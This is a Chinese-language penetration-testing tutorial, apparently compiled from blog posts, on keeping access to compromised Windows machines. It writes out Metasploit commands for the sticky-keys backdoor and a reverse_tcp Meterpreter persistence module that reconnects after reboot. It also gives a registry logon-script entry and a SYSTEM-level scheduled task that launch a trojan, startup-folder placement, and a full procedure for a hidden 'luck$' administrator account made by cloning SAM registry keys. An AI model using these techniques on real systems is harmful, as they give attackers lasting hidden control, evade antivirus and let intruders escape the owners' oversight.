Meterpreter权限维持
Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。
该模块将用 CMD 替换辅助功能的二进制文件( sethc, osk, disp, utilman )
use post/windows/manage/sticky_keys
设置session
提示:
会话具有管理权限,正在进行。
[+]已成功添加“粘滞键”。按SHIFT键5次,在RDP或UAC提示下启动该漏洞。
[*]模块后执行完成
在锁屏的情况下,按SHIFT键5次,弹出CMD,拥有system权限
#操作前提是目标开启了3389端口,可以远程登录
Persistence模块
exploit/windows/local/persistence
use exploit/windows/local/persistence
set session 1
set payload windows/x64/meterpreter/reverse_tcp
增加一个6666端口监听
目标主机关机重启后,自动回连
logon scripts
Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\8585.exe"
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径
重启,反弹shell
Schtasks计划任务
schtasks /create
# 创建新的计划任务/sc schedule
# 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、
ONCE、ONSTART、ONLOGON、ONIDLE。/mo modifier
# 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对
于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认
值为 1。/tr <TaskRun>
# 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在
%Systemroot%\System32 目录下。/tn <TaskName>
# 指定任务的名称
#执行命令需要system权限
schtasks /create /sc minute /mo 1 /tn "luck" /tr c:\8585 /ru system
启动项
在每次开机或重启的时候就会运行启动文件夹下的程序
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
将木马文件放在此目录,每次用户开机时就会启动我们的恶意文件,可以实现权限维持。
隐藏用户(影子用户)
1.对注册表赋予权限
默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改
现在需要为其添加管理员权限
右键-权限-选中Administrators,允许完全控制
#重新启动注册表regedit.exe,获得对该键值的修改权限
2.新建特殊帐户
net user luck$ 123456 /add
net localgroup administrators luck$ /add
#用户名要以$结尾
#添加后,该帐户可在一定条件下隐藏,输入net user
无法获取,如下图
但是,在控制面板能够发现该帐户
3.导出注册表
在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户luck$
获取默认类型为0x3e9
将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\luck$导出为1.reg
在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9
将、HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9 导出,命名为2.reg
默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
将 000001F4 键值导出,命名为3.reg
将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9
下键F的值,替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
下键F的值,即2.reg中键F的值替换成3.reg中键F的值
4.命令行删除特殊帐户
net user luck$ /del
5、导入reg文件
双击导入注册表,或通过命令行
regedit /s 1.reg
regedit /s 2.reg
管理账户看不到,luck$用户
net user 无法显示隐藏用户
通过命令查看:net user luck$
无法通过net user luck$ /del
删除该用户,提示用户不属于此组
删除方法:
删除注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\
下对应帐户的键值(共有两处)
...
参考:
【内网安全】——Windows权限维持_白昼安全的博客-CSDN博客
渗透技巧——Windows系统的帐户隐藏